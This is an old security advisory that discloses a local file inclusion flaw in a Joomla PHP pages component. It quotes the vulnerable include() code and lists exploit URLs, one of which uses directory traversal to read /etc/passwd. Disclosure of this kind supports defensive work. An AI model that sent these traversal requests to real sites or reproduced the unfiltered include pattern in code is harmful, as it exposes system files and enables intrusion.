Joomla Custom PHP Pages Component LFI Vulnerability
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- Discovered by	: Chip D3 Bi0s
- Email		: chipdebios@gmail.com
- Date      	: 2010-05-11
- Where		: From Remote

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Affected software description

Application	: Joomla Custom PHP Pages Component 
Developer	: Gabe
Email		: gabe@fijiwebdesign.com
Type		: Non-Commercial
License		: GPL
Date Added	: 6 June 2008
Download	: http://joomla-php.googlecode.com/files/com_php0.1alpha1-J15.tar.gz


I. BACKGROUND

Joomla PHP Pages Component allows you to create simple PHP pages
and link them to the Joomla Menu. This allows you to easily create
a custom page without having to create a whole component. It is
similar to the PHP Module for Joomla, except that it is a full Component.

II. DESCRIPTION

Some LFI vulnerabilities exist in Joomla Custom PHP Pages Component.


III. ANALYSIS

The bug is in the following files, specifying the lines

/components/com_php/php.php

[35] $filename = $Params->get('file', '');
[36] $path = JPATH_ROOT.'/components/com_php/files/'.$filename;
    ...
[47] // evaluate the PHP
[48] echo '<div class="php_page">';
[49] if (is_file($path)) {
[50]	include($path);
[51] } else {
[52]	echo '<span class="note">Please choose a File</span>';

Explaining the above lines:
According to the code that files are opened, but the code is not
shows no filtration, so we can move into
directories. According to several extensions can be observed as
.html, .jpg, .js, which is not true of all .php



IV. EXPLOITATION

http://127.0.0.1/index.php?option=com_php&file=../images/phplogo.jpg
http://127.0.0.1/index.php?option=com_php&file=../js/ie_pngfix.js
http://127.0.0.1/index.php?option=com_php&file=../../../../../../../../../../etc/passwd


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[!] Produced in South America
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